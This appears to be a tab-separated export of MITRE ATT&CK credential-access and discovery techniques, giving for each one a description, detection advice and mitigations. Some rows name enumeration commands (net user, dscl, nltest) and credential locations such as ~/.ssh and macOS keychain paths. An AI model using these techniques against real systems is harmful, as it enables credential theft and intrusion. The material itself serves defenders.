T1141	**1**	**Technique**	**Input Prompt**	When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1088)). Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1155)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and [PowerShell](https://attack.mitre.org/techniques/T1086)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015).	Monitor process execution for unusual programs as well as malicious instances of [Scripting](https://attack.mitre.org/techniques/T1064) that could be used to prompt users for credentials. Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources.	This technique exploits users' tendencies to always supply credentials when prompted, which makes it very difficult to mitigate. Use user training as a way to bring awareness and raise suspicion for potentially malicious events (ex: Office documents prompting for credentials).	credential-access	Process monitoring, Process command-line parameters, User interface, PowerShell logs	macOS, Windows	User	https://attack.mitre.org/techniques/T1141
T1208	**1**	**Technique**	**Kerberoasting**	Service principal names (SPNs) are used to uniquely identify each instance of a Windows service. To enable authentication, Kerberos requires that SPNs be associated with at least one service logon account (an account specifically tasked with running a service (Citation: Microsoft Detecting Kerberoasting Feb 2018)). (Citation: Microsoft SPN) (Citation: Microsoft SetSPN) (Citation: SANS Attacking Kerberos Nov 2014) (Citation: Harmj0y Kerberoast Nov 2016) Adversaries possessing a valid Kerberos ticket-granting ticket (TGT) may request one or more Kerberos ticket-granting service (TGS) service tickets for any SPN from a domain controller (DC). (Citation: Empire InvokeKerberoast Oct 2016) (Citation: AdSecurity Cracking Kerberos Dec 2015) Portions of these tickets may be encrypted with the RC4 algorithm, meaning the Kerberos 5 TGS-REP etype 23 hash of the service account associated with the SPN is used as the private key and is thus vulnerable to offline [Brute Force](https://attack.mitre.org/techniques/T1110) attacks that may expose plaintext credentials. (Citation: AdSecurity Cracking Kerberos Dec 2015) (Citation: Empire InvokeKerberoast Oct 2016) (Citation: Harmj0y Kerberoast Nov 2016) This same attack could be executed using service tickets captured from network traffic. (Citation: AdSecurity Cracking Kerberos Dec 2015) Cracked hashes may enable Persistence, Privilege Escalation, and Lateral Movement via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078). (Citation: SANS Attacking Kerberos Nov 2014)	Enable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]). (Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)	Ensure strong password length (ideally 25+ characters) and complexity for service accounts and that these passwords periodically expire. (Citation: AdSecurity Cracking Kerberos Dec 2015) Also consider using Group Managed Service Accounts or another third party product such as password vaulting. (Citation: AdSecurity Cracking Kerberos Dec 2015) Limit service accounts to minimal required privileges, including membership in privileged groups such as Domain Administrators. (Citation: AdSecurity Cracking Kerberos Dec 2015) Enable AES Kerberos encryption (or another stronger encryption algorithm), rather than RC4, where possible. (Citation: AdSecurity Cracking Kerberos Dec 2015)	credential-access	Windows event logs	Windows	User	https://attack.mitre.org/techniques/T1208

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1142	**1**	**Technique**	**Keychain**	Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in <code>~/Library/Keychains/</code>,<code>/Library/Keychains/</code>, and <code>/Network/Library/Keychains/</code>. (Citation: Wikipedia keychain) The <code>security</code> command-line utility, which is built into macOS by default, provides a useful way to manage these credentials. To manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user's logon credentials.	Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.	The password for the user's login keychain can be changed from the user's login password. This increases the complexity for an adversary because they need to know an additional password.	credential-access	System calls, Process monitoring	macOS	Administrator	https://attack.mitre.org/techniques/T1142
T1171	**1**	**Technique**	**LLMNR/NBT-NS Poisoning and Relay**	Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS) Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) Several tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)	Monitor <code>HKLM\Software\Policies\Microsoft\Windows NT\DNSClient</code> for changes to the "EnableMulticast" DWORD value. A value of "0" indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS) Monitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy. Deploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)		credential-access	Windows event logs, Windows Registry, Packet capture, Netflow/Enclave netflow	Windows	User	https://attack.mitre.org/techniques/T1171
T1040	**1**	**Technique**	**Network Sniffing**	Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data. Data captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and Relay](https://attack.mitre.org/techniques/T1171), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary. Network sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (ex: IP addressing, hostnames, VLAN IDs) necessary for follow-on Lateral Movement and/or Defense Evasion activities.	Detecting the events leading up to sniffing network traffic may be the best method of detection. From the host level, an adversary would likely need to perform a man-in-the-middle attack against other devices on a wired network in order to capture traffic that was not to or from the current compromised system. This change in the flow of information is detectable at the enclave network level. Monitor for ARP spoofing and gratuitous ARP broadcasts. Detecting compromised network devices is a bit more challenging. Auditing administrator logins, configuration changes, and device images is required to detect malicious changes.	Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration. Identify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	credential-access, discovery	Network device logs, Host network interface, Netflow/Enclave netflow, Process monitoring	Linux, macOS	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1040
T1174	**1**	**Technique**	**Password Filter DLL**	Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as dynamic link libraries (DLLs) containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made. (Citation: Carnal Ownage Password Filters Sept 2013)	Monitor for change notifications to and from unfamiliar password filters. Newly installed password filters will not take effect until after a system reboot. Password filters will show up as an autorun and loaded DLL in lsass.exe. (Citation: Clymb3r Function Hook Passwords Sept 2013)	Ensure only valid password filters are registered. Filter DLLs must be present in Windows installation directory (<code>C:\Windows\System32\</code> by default) of a domain controller and/or local computer with a corresponding entry in <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Notification Packages</code>. (Citation: Microsoft Install Password Filter n.d)	credential-access	DLL monitoring, Process monitoring, Windows Registry	Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1174
T1145	**1**	**Technique**	**Private Keys**	Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto) Adversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as <code>~/.ssh</code> for SSH keys on * nix-based systems or <code>C:\Users\(username)\.ssh\</code> on Windows. Private keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. Adversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)	Monitor access to files and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication.	Use strong passphrases for private keys to make cracking difficult. When possible, store keys on separate cryptographic hardware instead of on the local system. Ensure only authorized keys are allowed access to critical resources and audit access lists regularly. Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Use separate infrastructure for managing critical systems to prevent overlap of credentials and permissions on systems that could be used as vectors for lateral movement. Follow other best practices for mitigating access through use of [Valid Accounts](https://attack.mitre.org/techniques/T1078).	credential-access	File monitoring	Linux, macOS	User	https://attack.mitre.org/techniques/T1145
T1167	**1**	**Technique**	**Securityd Memory**	In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple's keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple's securityd utility takes the user's logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user's password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain) If an adversary can obtain root access (allowing them to read securityd's memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user's logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)			credential-access	Process monitoring	macOS	root	https://attack.mitre.org/techniques/T1167

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1528	1	**Technique**	**Steal Application Access Token**	Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access. Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. Adversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a link through [Spearphishing Link](https://attack.mitre.org/techniques/T1192) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1527).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019) Adversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017)	Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a "High severity app permissions" policy that generates alerts if apps request high severity permissions or send permissions requests for too many users. Security analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app's purpose, or apps with old "Last authorized" fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps. Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.		credential-access	Azure activity logs, OAuth audit logs	SaaS, Office 365	User	https://attack.mitre.org/techniques/T1528
T1539	1	**Technique**	**Steal Web Session Cookie**	An adversary may steal web application or service session cookies and use them to gain access web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website. Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie) There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Mauraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena) After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1506) technique to login to the corresponding web application.	Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory.		credential-access	File monitoring, API monitoring	Linux, macOS	User	https://attack.mitre.org/techniques/T1539
T1111	1	**Technique**	**Two-Factor Authentication Interception**	Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources. If a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011) Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011) Other methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)	Detecting use of proxied smart card connections by an adversary may be difficult because it requires the token to be inserted into a system; thus it is more likely to be in use by a legitimate user and blend in with other network behavior. Similar to [Input Capture](https://attack.mitre.org/techniques/T1056), keylogging activity can take various forms but can may be detected via installation of a driver, setting a hook, or usage of particular API calls associated with polling to intercept keystrokes.	Remove smart cards when not in use. Protect devices and services used to transmit and receive out-of-band codes. Identify and block potentially malicious software that may be used to intercept 2FA credentials on a system by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	credential-access	API monitoring, Process monitoring, Kernel drivers	Linux, Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1111
TA0007	0	**Tactic**	**Discovery**	The adversary is trying to figure out your environment. Discovery consists of techniques an adversary may use to gain knowledge about the system and internal network. These techniques help adversaries observe the environment and orient themselves before deciding how to act. They also allow adversaries to explore what they can control and what's around their entry point in order to discover how it could benefit their current objective. Native operating system tools are often used toward this post-compromise information-gathering objective.							https://attack.mitre.org/tactics/TA0007

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1087	**1**	**Technique**	**Account Discovery**	Adversaries may attempt to get a listing of local system or domain accounts. ### Windows Example commands that can acquire this information are <code>net user</code>, <code>net group <groupname></code>, and <code>net localgroup <groupname></code> using the [Net](https://attack.mitre.org/software/S0039) utility or through use of [dsquery](https://attack.mitre.org/software/S0105). If adversaries attempt to identify the primary user, currently logged in user, or set of users that commonly uses a system, [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) may apply. ### Mac On Mac, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. In mac specifically, <code>dscl . list /Groups</code> and <code>dscacheutil -q group</code> can also be used to enumerate groups and users. ### Linux On Linux, local users can be enumerated through the use of the <code>/etc/passwd</code> file which is world readable. In mac, this same file is only used in single-user mode in addition to the <code>/etc/master.passwd</code> file. Also, groups can be enumerated through the <code>groups</code> and <code>id</code> commands. ### Office 365 and Azure AD With authenticated access there are several tools that can be used to find accounts. The <code>Get-MsolRoleMember</code> PowerShell cmdlet can be used to obtain account names given a role or permissions group.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command <code>az ad user list</code> will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) The <code>Get-GlobalAddressList</code> PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).	Prevent administrator accounts from being enumerated when an application is elevating through UAC since it can lead to the disclosure of account names. The Registry key is located <code>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\CredUI\EnumerateAdministrators</code>. It can be disabled through GPO: Computer Configuration > [Policies] > Administrative Templates > Windows Components > Credential User Interface: E numerate administrator accounts on elevation. (Citation: UCF STIG Elevation Account Enumeration) Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about system and domain accounts, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	discovery	Azure activity logs, Office 365 account logs, API monitoring, Process monitoring	Linux, macOS	User	https://attack.mitre.org/techniques/T1087
T1010	**1**	**Technique**	**Application Window Discovery**	Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger. In Mac, this can be done natively with a small [AppleScript](https://attack.mitre.org/techniques/T1155) script.	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).	Identify unnecessary system utilities or potentially malicious software that may be used to acquire information, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	discovery	API monitoring, Process monitoring, Process command-line parameters	macOS, Windows	User	https://attack.mitre.org/techniques/T1010
T1217	**1**	**Technique**	**Browser Bookmark Discovery**	Adversaries may enumerate browser bookmarks to learn more about compromised hosts. Browser bookmarks may reveal personal information about users (ex: banking sites, interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure. Browser bookmarks may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials in Files](https://attack.mitre.org/techniques/T1081) associated with logins cached by a browser. Specific storage locations vary based on platform and/or application, but browser bookmarks are typically stored in local files/databases.	Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086). System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.	File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. For example, mitigating accesses to browser bookmark files will likely have unintended side effects such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	discovery	API monitoring, File monitoring, Process command-line parameters, Process monitoring	Linux, Windows	User	https://attack.mitre.org/techniques/T1217
T1538	**1**	**Technique**	**Cloud Service Dashboard**	An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard) Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.	Monitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events)		discovery	Office 365 audit logs, Azure activity logs, Stackdriver logs, AWS CloudTrail logs	AWS, GCP	User	https://attack.mitre.org/techniques/T1538
T1526	**1**	**Technique**	**Cloud Service Discovery**	An adversary may attempt to enumerate the cloud services running on a system after gaining access. These methods can differ depending on if it's platform-as-a-service (PaaS), infrastructure-as-a-service (IaaS), or software-as-a-service (SaaS). Many different services exist throughout the various cloud providers and can include continuous integration and continuous delivery (CI/CD), Lambda Functions, Azure AD, etc. Adversaries may attempt to discover information about the services enabled throughout the environment. Pacu, an open source AWS exploitation framework, supports several methods for discovering cloud services.(Citation: GitHub Pacu)	Cloud service discovery techniques will likely occur throughout an operation where an adversary is targeting cloud-based systems and services. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained. Normal, benign system and network events that look like cloud service discovery may be uncommon, depending on the environment and how they are used. Monitor cloud service usage for anomalous behavior that may indicate adversarial presence within the environment.		discovery	Azure activity logs, Stackdriver logs, AWS CloudTrail logs	AWS, GCP	User	https://attack.mitre.org/techniques/T1526

Control ID	Level	Type	Control Name	Control Text	Detection	Mitigation Summary [see link for up-to-date mitigations]	Kill Chain Phases	Data Sources	Platforms	Permissions	Notes
T1482	**1**	**Technique**	**Domain Trust Discovery**	Adversaries may attempt to gather information on domain trust relationships that may be used to identify [Lateral Movement](https://attack.mitre.org/tactics/TA0008) opportunities in Windows multi-domain/forest environments. Domain trusts provide a mechanism for a domain to allow access to resources based on the authentication procedures of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users of the trusted domain to access resources in the trusting domain. The information discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1178), [Pass the Ticket](https://attack.mitre.org/techniques/T1097), and [Kerberoasting](https://attack.mitre.org/techniques/T1208).(Citation: AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain trusts can be enumerated using the DSEnumerateDomainTrusts() Win32 API call, .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information, such as <code>nltest /domain_trusts</code>. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the DSEnumerateDomainTrusts() Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1086). The .NET method GetAllTrustRelationships() can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)	Map the trusts within existing domains/forests and keep trust relationships to a minimum. Employ network segmentation for sensitive domains.(Citation: Harmj0y Domain Trusts)	discovery	PowerShell logs, API monitoring, Process command-line parameters, Process monitoring	Windows	User	https://attack.mitre.org/techniques/T1482
T1083	**1**	**Technique**	**File and Directory Discovery**	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from [File and Directory Discovery](https://attack.mitre.org/techniques/T1083) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. ### Windows Example utilities used to obtain this information are <code>dir</code> and <code>tree</code>. (Citation: Windows Commands JPCERT) Custom tools may also be used to gather file and directory information and interact with the Windows API. ### Mac and Linux In Mac and Linux, this kind of discovery is accomplished with the <code>ls</code>, <code>find</code>, and <code>locate</code> commands.	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained. Monitor proceExesses and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086).	File system activity is a common part of an operating system, so it is unlikely that mitigation would be appropriate for this technique. It may still be beneficial to identify and block unnecessary system utilities or potentially malicious software by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	discovery	File monitoring, Process monitoring, Process command-line parameters	Linux, macOS	User, Administrator	https://attack.mitre.org/techniques/T1083
T1046	**1**	**Technique**	**Network Service Scanning**	Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation. Methods to acquire this information include port scans and vulnerability scans using tools that are brought onto a system. Within cloud environments, adversaries may attempt to discover services running on other cloud hosts or cloud services enabled within the environment. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems.	System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained. Normal, benign system and network events from legitimate remote service scanning may be uncommon, depending on the environment and how they are used. Legitimate open port and vulnerability scanning may be conducted within the environment and will need to be deconflicted with any detection capabilities developed. Network intrusion detection systems can also be used to identify scanning activity. Monitor for process use of the networks and inspect intra-network flows to detect port scans.	Use network intrusion detection/prevention systems to detect and prevent remote service scans. Ensure that unnecessary ports and services are closed and proper network segmentation is followed to protect critical servers and devices. Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about services running on remote systems, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)	discovery	Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters	Linux, Windows	Administrator, SYSTEM	https://attack.mitre.org/techniques/T1046
